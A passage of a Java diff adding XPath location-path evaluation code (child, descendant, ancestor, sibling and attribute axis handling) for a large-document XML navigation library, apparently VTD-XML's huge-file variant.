else { + state = TERMINAL; + result = vn.getCurrentIndex(); + if ( isUnique(result)){ + return result; + } + } + break; + } + } while (vn.toElement(VTDNavHuge.NS)); + if (state == END) + vn.toElement(VTDNavHuge.PARENT); + } + } else { + if (vn.getAtTerminal()==true){ + state = END; + }else { + // compute context size; + t = currentStep.p; + while(t!=null){ + if (t.requireContextSize()){ + int i = computeContextSize(t,vn); + if (i==0){ + b1 = true; + break; + }else + t.setContextSize(i); + } + t = t.nextP; + } + // b1 false indicate context size is zero. no need to go any further... + if (b1){ + state = END; + break; + } + // get textIter + TextIterHuge ti = null; + if (currentStep.o != null){ + ti = (TextIterHuge) currentStep.o; + } else { + ti = new TextIterHuge(); + currentStep.o = ti; + } + ti.touch(vn); + state = END; + while((result = ti.getNext())!=-1){ + vn.LN = result; + vn.setAtTerminal(true); + if (currentStep.evalPredicates(vn)){ + break; + } + } + // old code + //result = vn.getText(); + if (result != -1){ + vn.setAtTerminal(true); + //currentStep.resetP(vn); + vn.LN = result; + if (currentStep.getNextStep() != null){ + vn.LN = result; + state = FORWARD; + currentStep = currentStep.getNextStep(); + } + else { + //vn.pop(); + state = TERMINAL; + if ( isUnique(result)){ + vn.LN = result; + return result; + } + } + } else{ + //currentStep.set_ft(true); + currentStep.resetP(vn); + vn.setAtTerminal(false); + } + } + } + break; + case END: + currentStep =null; + // reset(); + return -1; + + case FORWARD: + if (currentStep.nt.testType != NodeTest.TEXT){ + t = currentStep.p; + while(t!=null){ + if (t.requireContextSize()){ + int i = computeContextSize(t,vn); + if (i==0){ + b1 = true; + break; + }else + t.setContextSize(i); + } + t = t.nextP; + } + if (b1){ + currentStep = currentStep.getPrevStep(); + state = BACKWARD; + break; + } + + state = BACKWARD; + forward: if (vn.toElement(VTDNavHuge.FC)) { + do { + if (currentStep.eval(vn)) { + if (currentStep.getNextStep() != null) { + state = FORWARD; + currentStep = currentStep.getNextStep(); + } else { + state = TERMINAL; + result = vn.getCurrentIndex(); + if ( isUnique(result)) + return result; + } + break forward; + } + } while (vn.toElement(VTDNavHuge.NS)); + vn.toElement(VTDNavHuge.P); + currentStep.resetP(vn); + currentStep = currentStep.getPrevStep(); + } else { + //vn.toElement(VTDNav.P); + currentStep = currentStep.getPrevStep(); + } + }else { + // predicate at an attribute is not evaled + if (vn.getAtTerminal() == true){ + state = BACKWARD; + currentStep = currentStep.getPrevStep(); + }else { + // compute context size; + t = currentStep.p; + while(t!=null){ + if (t.requireContextSize()){ + int i = computeContextSize(t,vn); + if (i==0){ + b1 = true; + break; + }else + t.setContextSize(i); + } + t = t.nextP; + } + // b1 false indicate context size is zero. no need to go any further... + if (b1){ + state = BACKWARD; + break; + } + // get textIter + TextIterHuge ti = null; + if (currentStep.o != null){ + ti = (TextIterHuge) currentStep.o; + } else { + ti = new TextIterHuge(); + currentStep.o = ti; + } + ti.touch(vn); + //result = ti.getNext(); + + while((result = ti.getNext())!=-1){ + vn.LN = result; + vn.setAtTerminal(true); + if (currentStep.evalPredicates(vn)){ + break; + } + } + + if (result == -1) { + //currentStep.set_ft(true); + //currentStep.resetP(vn); + vn.setAtTerminal(false); + if (state == FORWARD) { + state = BACKWARD; + currentStep = currentStep.getPrevStep(); + } + } else { + vn.setAtTerminal(true); + if (currentStep.getNextStep() != null) { + vn.LN = result; + state = FORWARD; + currentStep = currentStep.getNextStep(); + } else { + //vn.pop(); + state = TERMINAL; + if (isUnique(result)) { + vn.LN = result; + return result; + } + } + } + } + } + + break; + + case BACKWARD: + if (currentStep.nt.testType != NodeTest.TEXT) { + //currentStep = currentStep.getPrevStep(); + b = false; + while (vn.toElement(VTDNavHuge.NS)) { + if (currentStep.eval(vn)) { + b = true; + break; + } + } + if (b == true) { + state = FORWARD; + currentStep = currentStep.getNextStep(); + } else if (currentStep.getPrevStep() == null){ + currentStep.resetP(vn); + vn.toElement(VTDNavHuge.P); + state = END; + } + else { + currentStep.resetP(vn); + state = BACKWARD; + vn.toElement(VTDNavHuge.P); + currentStep = currentStep.getPrevStep(); + } + }else { + vn.setAtTerminal(false); + if (currentStep.getPrevStep() == null) + state = END; + else { + state = BACKWARD; + //vn.setAtTerminal(false); + currentStep = currentStep.getPrevStep(); + } + } + break; + + case TERMINAL: + if (currentStep.nt.testType != NodeTest.TEXT) { + while (vn.toElement(VTDNavHuge.NS)) { + if (currentStep.eval(vn)) { + // state = TERMINAL; + result = vn.getCurrentIndex(); + if ( isUnique(result)) + return result; + } + } + currentStep.resetP(vn); + if (currentStep.getPrevStep() == null){ + state = END; + vn.toElement(VTDNavHuge.P); + } + else { + vn.toElement(VTDNavHuge.P); + + state = BACKWARD; + currentStep = currentStep.getPrevStep(); + } + }else { + TextIterHuge ti = (TextIterHuge) currentStep.o; + int i = -1; + while ((i=ti.getNext())!=-1) { + if (currentStep.evalPredicates(vn)) { + return i; + } + } + currentStep.resetP(vn); + vn.setAtTerminal(false); + if (currentStep.getPrevStep() == null) + state = END; + else { + state = BACKWARD; + currentStep = currentStep.getPrevStep(); + } + } + break; + + default: + throw new XPathEvalExceptionHuge("unknown state"); + } + return -2; + } + + private int process_DDFP(VTDNavHuge vn) + throws XPathEvalExceptionHuge, NavExceptionHuge { + AutoPilotHuge ap; + boolean b = false, b1 = false; + //int contextSize; + Predicate t= null; + int result; + + + switch(state){ + case START: + case FORWARD: + if (vn.atTerminal){ + if (state == START) + state = END; + else { + // no need to set_ft to true + // no need to resetP + state = BACKWARD; + currentStep = currentStep.getPrevStep(); + } + break; + } + + t = currentStep.p; + while(t!=null){ + if (t.requireContextSize()){ + int i = computeContextSize(t,vn); + if (i==0){ + b1 = true; + break; + }else + t.setContextSize(i); + } + t = t.nextP; + } + if (b1){ + if (state ==START) + state = END; + else { + currentStep = currentStep.getPrevStep(); + state = BACKWARD; + } + break; + } + + String helper = null; + if (currentStep.nt.testType == NodeTest.NAMETEST){ + helper = currentStep.nt.nodeName; + } else if (currentStep.nt.testType == NodeTest.NODE){ + helper = "*"; + } else + throw new XPathEvalExceptionHuge("can't run descendant " + + "following, or following-sibling axis over comment(), pi(), and text()"); + if (currentStep.o == null) + currentStep.o = ap = new AutoPilotHuge(vn); + else { + ap = (AutoPilotHuge) currentStep.o; + ap.bind(vn); + } + if (currentStep.get_ft() == true) { + + if (currentStep.axis_type == AxisType.DESCENDANT_OR_SELF ) + if (currentStep.nt.testType == NodeTest.NODE) + ap.setSpecial(true); + else + ap.setSpecial(false); + //currentStep.o = ap = new AutoPilot(vn); + if (currentStep.axis_type == AxisType.DESCENDANT_OR_SELF) + ap.selectElement(helper); + else if (currentStep.axis_type == AxisType.DESCENDANT) + ap.selectElement_D(helper); + else if (currentStep.axis_type == AxisType.PRECEDING) + ap.selectElement_P(helper); + else + ap.selectElement_F(helper); + currentStep.set_ft(false); + } + if ( state == START) + state = END; + + vn.push2(); // not the most efficient. good for now + //System.out.println(" --++ push in //"); + b = false; + while(ap.iterate()){ + if (currentStep.evalPredicates(vn)){ + b = true; + break; + } + } + if (b == false) { + vn.pop2(); + //System.out.println(" --++ pop in //"); + currentStep.set_ft(true); + currentStep.resetP(vn); + if ( state == FORWARD){ + state = BACKWARD; + currentStep = currentStep.getPrevStep(); + } + } else { + if (currentStep.getNextStep() != null){ + state = FORWARD; + currentStep = currentStep.getNextStep(); + } + else { + //vn.pop(); + state = TERMINAL; + result = vn.getCurrentIndex(); + if ( isUnique(result)) + return result; + } + } + break; + + case END: + currentStep = null; + // reset(); + return -1; + + case BACKWARD: + //currentStep = currentStep.getPrevStep(); + ap = (AutoPilotHuge) currentStep.o; + //vn.push(); + b = false; + while(ap.iterate()){ + if (currentStep.evalPredicates(vn)){ + b = true; + break; + } + } + if (b == false) { + vn.pop2(); + currentStep.set_ft(true); + currentStep.resetP(vn); + //System.out.println(" --++ pop in //"); + if (currentStep.getPrevStep() != null) { + state = BACKWARD; + currentStep = currentStep.getPrevStep(); + } else + state = END; + } else { + if (currentStep.getNextStep() != null) { + //vn.push(); + //System.out.println(" --++ push in //"); + state = FORWARD; + currentStep = currentStep.getNextStep(); + } else { + state = TERMINAL; + result = vn.getCurrentIndex(); + if ( isUnique(result)) + return result; + } + } + break; + + case TERMINAL: + ap = (AutoPilotHuge) currentStep.o; + b = false; + while (ap.iterate()) { + if (currentStep.evalPredicates(vn)) { + b = true; + break; + } + } + if (b == true) { + if (currentStep.evalPredicates(vn)) { + result = vn.getCurrentIndex(); + if (isUnique(result)) + return result; + } + } else if (currentStep.getPrevStep() == null) { + currentStep.resetP(vn); + vn.pop2(); + state = END; + } else { + vn.pop2(); + currentStep.set_ft(true); + currentStep.resetP(vn); + //System.out.println(" --++ pop in //"); + state = BACKWARD; + //currentStep.ft = true; + currentStep = currentStep.getPrevStep(); + } + break; + + default: + throw new XPathEvalExceptionHuge("unknown state"); + } + return -2; + } + + private final int process_parent(VTDNavHuge vn) + throws XPathEvalExceptionHuge, NavExceptionHuge{ + boolean b1 = false; + //int contextSize; + Predicate t= null; + int result; + switch ( state) { + case START: + case FORWARD: + t = currentStep.p; + while(t!=null){ + if (t.requireContextSize()){ + int i = computeContextSize(t,vn); + if (i==0){ + b1 = true; + break; + }else + t.setContextSize(i); + } + t = t.nextP; + } + if (b1){ + if (state == FORWARD){ + state = BACKWARD; + currentStep = currentStep.getPrevStep(); + }else + state = END; + break; + } + + if (vn.getCurrentDepth() == -1) { + if ( state == START) + state = END; + else { + //vn.pop(); + state = BACKWARD; + currentStep = currentStep.getPrevStep(); + } + } else { + vn.push2(); + vn.toElement(VTDNavHuge.P); // must return true + if (currentStep.eval(vn)){ + if (currentStep.getNextStep() != null) { + state = FORWARD; + currentStep = currentStep.getNextStep(); + } else { + state = TERMINAL; + result = vn.getCurrentIndex(); + if ( isUnique(result)) + return result; + } + }else{ + vn.pop2(); + currentStep.resetP(vn); + if ( state == START) + state = END; + else { + state = BACKWARD; + currentStep = currentStep.getPrevStep(); + } + } + } + + break; + + case END: + currentStep = null; + // reset(); + return -1; + + case BACKWARD: + case TERMINAL: + if (currentStep.getPrevStep() == null) { + vn.pop2(); + state = END; + break; + }else { + vn.pop2(); + state = BACKWARD; + currentStep = currentStep.getPrevStep(); + break; + } + + default: + throw new XPathEvalExceptionHuge("unknown state"); + + } + return -2; + } + + private final int process_ancestor( VTDNavHuge vn) + throws XPathEvalExceptionHuge, NavExceptionHuge{ + int result; + boolean b = false, b1 = false; + //int contextSize; + Predicate t= null; + + switch(state){ + case START: + t = currentStep.p; + while (t != null) { + if (t.requireContextSize()) { + int i = computeContextSize( t, vn); + if (i == 0) { + b1 = true; + break; + } else + t.setContextSize(i); + } + t = t.nextP; + } + if (b1) { + state = END; + break; + } + + state = END; + if (vn.getCurrentDepth() != -1) { + vn.push2(); + + while (vn.toElement(VTDNavHuge.P)) { + if (currentStep.eval(vn)) { + if (currentStep.getNextStep() != null) { + state = FORWARD; + currentStep = currentStep.getNextStep(); + break; + } else { + //vn.pop(); + state = TERMINAL; + result = vn.getCurrentIndex(); + if (isUnique(result)) + return result; + } + } + } + if (state == END) { + currentStep.resetP(vn); + vn.pop2(); + } + } + break; + + case END: + currentStep =null; + // reset(); + return -1; + + case FORWARD: + t = currentStep.p; + while(t!=null){ + if (t.requireContextSize()){ + int i = computeContextSize(t,vn); + if (i==0){ + b1 = true; + break; + }else + t.setContextSize(i); + } + t = t.nextP; + } + if (b1){ + currentStep = currentStep.getPrevStep(); + state = BACKWARD; + break; + } + state = BACKWARD; + vn.push2(); + + while(vn.toElement(VTDNavHuge.P)){ + if (currentStep.eval(vn)){ + if (currentStep.getNextStep() != null){ + state = FORWARD; + currentStep = currentStep.getNextStep(); + break; + } + else { + //vn.pop(); + state = TERMINAL; + result = vn.getCurrentIndex(); + if ( isUnique(result)) + return result; + } + } + } + if ( state == BACKWARD){ + currentStep.resetP(vn); + vn.pop2(); + currentStep=currentStep.getPrevStep(); + } + break; + + case BACKWARD: + b = false; + vn.push2(); + + while (vn.toElement(VTDNavHuge.P)) { + if (currentStep.eval(vn)) { + if (currentStep.getNextStep()!= null) { + state = FORWARD; + currentStep = currentStep.getNextStep(); + b = true; + break; + } else { + //vn.pop(); + state = TERMINAL; + result = vn.getCurrentIndex(); + if ( isUnique(result)) + return result; + } + } + } + if (b==false){ + vn.pop2(); + if (currentStep.getPrevStep()!=null) { + currentStep.resetP(vn); + state = BACKWARD; + currentStep = currentStep.getPrevStep(); + } + else { + state = END; + } + } + break; + + case TERMINAL: + while (vn.toElement(VTDNavHuge.P)) { + if (currentStep.eval(vn)) { + result = vn.getCurrentIndex(); + if ( isUnique(result)) + return result; + } + } + vn.pop2(); + + if (currentStep.getPrevStep()!=null) { + currentStep.resetP(vn); + state = BACKWARD; + currentStep = currentStep.getPrevStep(); + } + else { + state = END; + } + break; + + default: + throw new XPathEvalExceptionHuge("unknown state"); + } + return -2; + } + + private final int process_ancestor_or_self(VTDNavHuge vn) + throws XPathEvalExceptionHuge,NavExceptionHuge{ + boolean b = false, b1 = false; + //int contextSize; + Predicate t= null; + int result; + switch ( state) { + case START: + t = currentStep.p; + while (t != null) { + if (t.requireContextSize()) { + int i = computeContextSize( t, vn); + if (i == 0) { + b1 = true; + break; + } else + t.setContextSize(i); + } + t = t.nextP; + } + if (b1) { + state = END; + break; + } + state = END; + vn.push2(); + + if (currentStep.get_ft()== true){ + currentStep.set_ft(false); + if (currentStep.eval(vn)) { + if (currentStep.getNextStep() != null) { + state = FORWARD; + currentStep = currentStep.getNextStep(); + break; + } else { + //vn.pop(); + state = TERMINAL; + if (vn.atTerminal) + result = vn.LN; + else + result = vn.getCurrentIndex(); + if ( isUnique(result)) + return result; + } + } + } + + while (vn.toElement(VTDNavHuge.P)) { + if (currentStep.eval(vn)) { + if (currentStep.getNextStep() != null) { + state = FORWARD; + currentStep = currentStep.getNextStep(); + break; + } else { + //vn.pop(); + state = TERMINAL; + result = vn.getCurrentIndex(); + if ( isUnique(result)) + return result; + } + } + } + + if ( state == END) { + currentStep.resetP(vn); + vn.pop2(); + } + + break; + + case FORWARD: + t = currentStep.p; + while(t!=null){ + if (t.requireContextSize()){ + int i = computeContextSize(t,vn); + if (i==0){ + b1 = true; + break; + }else + t.setContextSize(i); + } + t = t.nextP; + } + if (b1){ + currentStep = currentStep.getPrevStep(); + state = BACKWARD; + break; + } + state = BACKWARD; + vn.push2(); + if (currentStep.get_ft() == true) { + currentStep.set_ft(false); + + if (currentStep.eval(vn)) { + if (currentStep.getNextStep() != null) { + state = FORWARD; + currentStep = currentStep.getNextStep(); + break; + } else { + //vn.pop(); + state = TERMINAL; + if (vn.atTerminal) + result = vn.LN; + else + result = vn.getCurrentIndex(); + if ( isUnique(result)) + return result; + } + } + } + while (vn.toElement(VTDNavHuge.P)) { + if (currentStep.eval(vn)) { + if (currentStep.getNextStep() != null) { + state = FORWARD; + currentStep = currentStep.getNextStep(); + break; + } else { + //vn.pop(); + state = TERMINAL; + result = vn.getCurrentIndex(); + if ( isUnique(result)) + return result; + } + } + } + + if ( state == BACKWARD) { + currentStep.resetP(vn); + currentStep.set_ft(true); + vn.pop2(); + currentStep = currentStep.getPrevStep(); + } + break; + + case END: + currentStep = null; + // reset(); + return -1; + + + case BACKWARD: + b = false; + vn.push2(); + + while (vn.toElement(VTDNavHuge.P)) { + if (currentStep.eval(vn)) { + if (currentStep.getNextStep() != null) { + state = FORWARD; + currentStep = currentStep.getNextStep(); + b = true; + break; + } else { + //vn.pop(); + state = TERMINAL; + result = vn.getCurrentIndex(); + if ( isUnique(result)) + return result; + } + } + } + if (b == false) { + vn.pop2(); + currentStep.resetP(vn); + if (currentStep.getPrevStep() != null) { + currentStep.set_ft(true); + state = BACKWARD; + currentStep = currentStep.getPrevStep(); + } else { + state = END; + } + } + break; + + case TERMINAL: + while (vn.toElement(VTDNavHuge.P)) { + if (currentStep.eval(vn)) { + result = vn.getCurrentIndex(); + if ( isUnique(result)) + return result; + } + } + vn.pop2(); + currentStep.resetP(vn); + if (currentStep.getPrevStep()!=null) { + currentStep.set_ft(true); + state = BACKWARD; + currentStep = currentStep.getPrevStep(); + } + else { + state = END; + } + break; + + + default: + throw new XPathEvalExceptionHuge("unknown state"); + } + return -2; + } + private int process_self(VTDNavHuge vn) + throws XPathEvalExceptionHuge,NavExceptionHuge{ + boolean b1 = false; + //int contextSize; + Predicate t= null; + int result; + switch( state){ + case START: + case FORWARD: + t = currentStep.p; + while(t!=null){ + if (t.requireContextSize()){ + int i = computeContextSize(t,vn); + if (i==0){ + b1 = true; + break; + }else + t.setContextSize(i); + } + t = t.nextP; + } + if (b1){ + if (state == FORWARD){ + state = BACKWARD; + currentStep = currentStep.getPrevStep(); + }else + state = END; + break; + } + if (currentStep.eval(vn)){ + if (currentStep.getNextStep()!=null){ + state = FORWARD; + currentStep = currentStep.getNextStep(); + } + else{ + state = TERMINAL; + if (vn.atTerminal == true) + result = vn.LN; + else + result = vn.getCurrentIndex(); + if ( isUnique(result)) + return result; + } + }else { + currentStep.resetP(vn); + if ( state == START) + state = END; + else + state = BACKWARD; + } + break; + + case END: + currentStep = null; + // reset(); + return -1; + + case BACKWARD: + case TERMINAL: + if (currentStep.getPrevStep()!=null){ + state = BACKWARD; + currentStep= currentStep.getPrevStep(); + }else{ + state = END; + } + break; + + default: + throw new XPathEvalExceptionHuge("unknown state"); + } + return -2; + } + + private int process_following_sibling(VTDNavHuge vn) + throws XPathEvalExceptionHuge,NavExceptionHuge{ + boolean b = false, b1 = false; + //int contextSize; + Predicate t= null; + int result; + switch( state){ + case START: + case FORWARD: + + t = currentStep.p; + while(t!=null){ + if (t.requireContextSize()){ + int i = computeContextSize(t,vn); + if (i==0){ + b1 = true; + break; + }else + t.setContextSize(i); + } + t = t.nextP; + } + if (b1){ + if (state == FORWARD){ + state = BACKWARD; + currentStep = currentStep.getPrevStep(); + }else + state = END; + break; + } + if ( state == START) + state = END; + else + state = BACKWARD; + vn.push2(); + while (vn.toElement(VTDNavHuge.NS)){ + if (currentStep.eval(vn)){ + if (currentStep.getNextStep()!=null){ + state = FORWARD; + currentStep = currentStep.getNextStep(); + break; + } else { + state = TERMINAL; + result = vn.getCurrentIndex(); + if ( isUnique(result)) + return result; + } + } + } + + if ( state == END){ + currentStep.resetP(vn); + vn.pop2(); + }else if ( state == BACKWARD){ + currentStep.resetP(vn); + vn.pop2(); + currentStep = currentStep.getPrevStep(); + } + break; + + case END: + currentStep = null; + // reset(); + return -1; + + case BACKWARD: + while (vn.toElement(VTDNavHuge.NS)){ + if (currentStep.eval(vn)){ + if (currentStep.getNextStep()!=null){ + state = FORWARD; + currentStep = currentStep.getNextStep(); + b = true; + break; + } else { + state = TERMINAL; + result = vn.getCurrentIndex(); + if ( isUnique(result)) + return result; + } + } + } + if (b==false){ + vn.pop2(); + currentStep.resetP(vn); + if (currentStep.getPrevStep()==null){ + state = END; + }else{ + state = BACKWARD; + currentStep = currentStep.getPrevStep(); + } + } + break; + + case TERMINAL: + while (vn.toElement(VTDNavHuge.NS)){ + if (currentStep.eval(vn)){ + // state = TERMINAL; + result = vn.getCurrentIndex(); + if ( isUnique(result)) + return result; + } + } + vn.pop2(); + currentStep.resetP(vn); + if(currentStep.getPrevStep()!=null){ + currentStep = currentStep.getPrevStep(); + state = BACKWARD; + }else{ + state = END; + } + break; + + default: + throw new XPathEvalExceptionHuge("unknown state"); + } + return -2; + } + + private int process_preceding_sibling(VTDNavHuge vn) + throws XPathEvalExceptionHuge,NavExceptionHuge { + boolean b = false, b1 = false; + //int contextSize; + Predicate t= null; + int result; + switch(state){ + case START: + case FORWARD: + t = currentStep.p; + while(t!=null){ + if (t.requireContextSize()){ + int i = computeContextSize(t,vn); + if (i==0){ + b1 = true; + break; + }else + t.setContextSize(i); + } + t = t.nextP; + } + if (b1){ + if (state == FORWARD){ + state = BACKWARD; + currentStep = currentStep.getPrevStep(); + }else + state = END; + break; + } + if ( state == START) + state = END; + else + state = BACKWARD; + vn.push2(); + while (vn.toElement(VTDNavHuge.PS)){ + if (currentStep.eval(vn)){ + if (currentStep.getNextStep()!=null){ + state = FORWARD; + currentStep = currentStep.getNextStep(); + break; + } else { + state = TERMINAL; + result = vn.getCurrentIndex(); + if ( isUnique(result)) + return result; + } + } + } + + if ( state == END){ + currentStep.resetP(vn); + vn.pop2(); + }else if ( state == BACKWARD){ + currentStep.resetP(vn); + vn.pop2(); + currentStep = currentStep.getPrevStep(); + } + break; + + case END: + currentStep = null; + // reset(); + return -1; + + case BACKWARD: + while (vn.toElement(VTDNavHuge.PS)){ + if (currentStep.eval(vn)){ + if (currentStep.getNextStep()!=null){ + state = FORWARD; + currentStep = currentStep.getNextStep(); + b = true; + break; + } else { + state = TERMINAL; + result = vn.getCurrentIndex(); + if ( isUnique(result)) + return result; + } + } + } + if (b==false){ + vn.pop2(); + currentStep.resetP(vn); + if (currentStep.getPrevStep()==null){ + state = END; + }else{ + state = BACKWARD; + currentStep = currentStep.getPrevStep(); + } + } + break; + + case TERMINAL: + while (vn.toElement(VTDNavHuge.PS)){ + if (currentStep.eval(vn)){ + // state = TERMINAL; + result = vn.getCurrentIndex(); + if ( isUnique(result)) + return result; + } + } + vn.pop2(); + if(currentStep.getPrevStep()!=null){ + currentStep = currentStep.getPrevStep(); + state = BACKWARD; + }else{ + state = END; + } + break; + + default: + throw new XPathEvalExceptionHuge("unknown state"); + } + return -2; + } + + private int process_attribute(VTDNavHuge vn) + throws XPathEvalExceptionHuge,NavExceptionHuge { + AutoPilotHuge ap = null; + boolean b1 = false; + //int contextSize; + Predicate t= null; + //int result; + int temp; + switch( state){ + case START: + case FORWARD: + if (currentStep.nt.testType != NodeTest.NAMETEST) + throw new XPathEvalExceptionHuge("can't run descendant, descendant-or-self," + + "following, or following-sibling axis over non-element nodes"); + t = currentStep.p; + while(t!=null){ + if (t.requireContextSize()){ + int i = computeContextSize(t,vn); + if (i==0){ + b1 = true; + break; + }else + t.setContextSize(i); + } + t = t.nextP; + } + if (b1){ + if (state == FORWARD){ + state = BACKWARD; + currentStep = currentStep.getPrevStep(); + }else + state = END; + break; + } + + if (vn.getAtTerminal()==true){ + if (state ==START) + state = END; + else { + state = BACKWARD; + currentStep = currentStep.getPrevStep(); + } + } else { + if (currentStep.get_ft() == true) { + if (currentStep.o == null) + currentStep.o = ap = new AutoPilotHuge(vn); + else { + ap = (AutoPilotHuge) currentStep.o; + ap.bind(vn); + //ap.set_ft(true); + } + if (currentStep.nt.localName != null) + ap.selectAttrNS(currentStep.nt.URL, + currentStep.nt.localName); + else + ap.selectAttr(currentStep.nt.nodeName); + currentStep.set_ft(false); + } + if (state == START) + state = END; + vn.setAtTerminal(true); + while ((temp = ap.iterateAttr()) != -1) { + if (currentStep.evalPredicates(vn)) { + break; + } + } + if (temp == -1) { + currentStep.set_ft(true); + currentStep.resetP(vn); + vn.setAtTerminal(false); + if (state == FORWARD) { + state = BACKWARD; + currentStep = currentStep.getPrevStep(); + } + } else { + + if (currentStep.getNextStep() != null) { + vn.LN = temp; + state = FORWARD; + currentStep = currentStep.getNextStep(); + } else { + //vn.pop(); + state = TERMINAL; + if (isUnique(temp)) { + vn.LN = temp; + return temp; + } + } + + } + } + break; + + case END: + currentStep = null; + // reset(); + return -1; + + case BACKWARD: + ap = (AutoPilotHuge) currentStep.o; + //vn.push(); + while( (temp = ap.iterateAttr()) != -1){ + if (currentStep.evalPredicates(vn)){ + break; + } + } + if (temp == -1) { + currentStep.set_ft(true); + currentStep.resetP(vn); + vn.setAtTerminal(false); + if (currentStep.getPrevStep() != null) { + state = BACKWARD; + currentStep = currentStep.getPrevStep(); + } else + state = END; + } else { + if (currentStep.getNextStep() != null) { + state = FORWARD; + currentStep = currentStep.getNextStep(); + } else { + state = TERMINAL; + if ( isUnique(temp)){ + vn.LN = temp; + return temp; + } + } + } + break; + + case TERMINAL: + ap = (AutoPilotHuge) currentStep.o; + while( (temp = ap.iterateAttr()) != -1){ + if (currentStep.evalPredicates(vn)){ + break; + } + } + if (temp != -1) + if (isUnique(temp)){ + vn.LN = temp; + return temp; + } + vn.setAtTerminal(false); + currentStep.resetP(vn); + if (currentStep.getPrevStep() == null) { + currentStep.set_ft(true); + state = END; + } else { + state = BACKWARD; + currentStep.set_ft(true); + currentStep = currentStep.getPrevStep(); + } + + break; + + default: + throw new XPathEvalExceptionHuge("unknown state"); + } + return -2; + } + + public int evalNodeSet(VTDNavHuge vn) + throws NavExceptionHuge,XPathEvalExceptionHuge{ + int result; + if (currentStep == null) { + if ( pathType == ABSOLUTE_PATH){ + vn.toElement(VTDNavHuge.ROOT); + vn.toElement(VTDNavHuge.PARENT); + } + currentStep = s; + if (currentStep == null){ + if ( state == START){ + state = END; + return 0; + } + else{ + return -1; + } + } + } + + while (true) { + switch (currentStep.axis_type) { + + case AxisType.CHILD: + if ( (result = process_child(vn))!=-2) + return result; + break; + case AxisType.DESCENDANT_OR_SELF: + case AxisType.DESCENDANT: + case AxisType.PRECEDING: + case AxisType.FOLLOWING: + if ((result = process_DDFP(vn))!= -2) + return result; + break; + case AxisType.PARENT: + if ((result = process_parent(vn))!= -2) + return result; + break; + case AxisType.ANCESTOR: + if ((result = process_ancestor(vn))!= -2) + return result; + break; + case AxisType.ANCESTOR_OR_SELF: + if ((result = process_ancestor_or_self(vn))!= -2) + return result; + break; + case AxisType.SELF: + if ((result = process_self(vn))!= -2) + return result; + break; + case AxisType.FOLLOWING_SIBLING: + if ((result = process_following_sibling(vn))!= -2) + return result; + break; + case AxisType.PRECEDING_SIBLING: + if ((result = process_preceding_sibling(vn))!= -2) + return result; + break; + case AxisType.ATTRIBUTE: + if ((result = process_attribute(vn))!= -2) + return result; + break; + default: + throw new XPathEvalExceptionHuge("axis not supported"); + } + } + + } + + public boolean isString(){ + return false; + } + + public boolean isBoolean(){ + return false; + } + + // to support computer context size + // needs to add + public boolean requireContextSize(){ + return false; + } + + // + public void setContextSize(int size){ + } + + public int computeContextSize(Predicate p, VTDNavHuge vn) + throws NavExceptionHuge,XPathEvalExceptionHuge{ + + boolean b = false; + //Predicate tp = null; + int i = 0; + AutoPilotHuge ap; + switch(currentStep.axis_type){ + case AxisType.CHILD: + if (currentStep.nt.testType != NodeTest.TEXT){ + b = vn.toElement(VTDNavHuge.FIRST_CHILD); + if (b) { + do { + if (currentStep.eval(vn, p)) { + i++; + } + } while (vn.toElement(VTDNavHuge.NS)); + vn.toElement(VTDNavHuge.PARENT); + currentStep.resetP(vn,p); + return i; + } else + return 0; + }else { + TextIterHuge ti = new TextIterHuge(); + ti.touch(vn); + int result = -1; + while((ti.getNext())!=-1){ + vn.setAtTerminal(true); + vn.LN = result; + if (currentStep.evalPredicates(vn,p)){ + i++; + } + } + currentStep.resetP(vn,p); + return i; + } + + case AxisType.DESCENDANT_OR_SELF: + case AxisType.DESCENDANT: + case AxisType.PRECEDING: + case AxisType.FOLLOWING: + + String helper = null; + if (currentStep.nt.testType == NodeTest.NODE){ + helper = "*"; + }else if (currentStep.nt.testType == NodeTest.NAMETEST){ + helper = currentStep.nt.nodeName; + }else + throw new XPathEvalExceptionHuge("can't run descendant " + + "following, or following-sibling axis over comment(), pi(), and text()"); + ap = new AutoPilotHuge(vn); + if (currentStep.axis_type == AxisType.DESCENDANT_OR_SELF ) + if (currentStep.nt.testType == NodeTest.NODE) + ap.setSpecial(true); + else + ap.setSpecial(false); + //currentStep.o = ap = new AutoPilot(vn); + if (currentStep.axis_type == AxisType.DESCENDANT_OR_SELF) + if (currentStep.nt.localName!=null) + ap.selectElementNS(currentStep.nt.URL,currentStep.nt.localName); + else + ap.selectElement(helper); + else if (currentStep.axis_type == AxisType.DESCENDANT) + if (currentStep.nt.localName!=null) + ap.selectElementNS_D(currentStep.nt.URL,currentStep.nt.localName); + else + ap.selectElement_D(helper); + else if (currentStep.axis_type == AxisType.PRECEDING) + if (currentStep.nt.localName!=null) + ap.selectElementNS_P(currentStep.nt.URL,currentStep.nt.localName); + else + ap.selectElement_P(helper); + else + if (currentStep.nt.localName!=null) + ap.selectElementNS_F(currentStep.nt.URL,currentStep.nt.localName); + else + ap.selectElement_F(helper); + vn.push2(); + while(ap.iterate()){ + if (currentStep.evalPredicates(vn,p)){ + i++; + } + } + vn.pop2(); + currentStep.resetP(vn,p); + return i; + + case AxisType.PARENT: + vn.push2(); + i = 0; + if (vn.toElement(VTDNavHuge.PARENT)){ + if (currentStep.eval(vn,p)){ + i++; + } + } + vn.pop2(); + currentStep.resetP(vn,p); + return i; + + case AxisType.ANCESTOR: + vn.push2(); + i = 0; + while (vn.toElement(VTDNavHuge.PARENT)) { + if (currentStep.eval(vn, p)) { + i++; + } + } + vn.pop2(); + currentStep.resetP(vn,p); + return i; + + case AxisType.ANCESTOR_OR_SELF: + vn.push2(); + i = 0; + do { + if (currentStep.eval(vn, p)) { + i++; + } + }while(vn.toElement(VTDNavHuge.PARENT)); + vn.pop2(); + currentStep.resetP(vn,p); + return i; + + case AxisType.SELF: + i = 0; + if (vn.toElement(VTDNavHuge.PARENT)){ + if (currentStep.eval(vn,p)){ + i++; + } + } + currentStep.resetP(vn,p); + return i; + + case AxisType.FOLLOWING_SIBLING: + vn.push2(); + while(vn.toElement(VTDNavHuge.NEXT_SIBLING)){ + if (currentStep.eval(vn,p)){ + i++; + } + } + vn.pop2(); + currentStep.resetP(vn,p); + return i; + + case AxisType.PRECEDING_SIBLING: + vn.push2(); + while(vn.toElement(VTDNavHuge.PREV_SIBLING)){ + if (currentStep.eval(vn,p)){ + i++; + } + } + vn.pop2(); + currentStep.resetP(vn,p); + return i; + + case AxisType.ATTRIBUTE: + ap = new AutoPilotHuge(vn); + if (currentStep.nt.localName!=null) + ap.selectAttrNS(currentStep.nt.URL, + currentStep.nt.localName); + else + 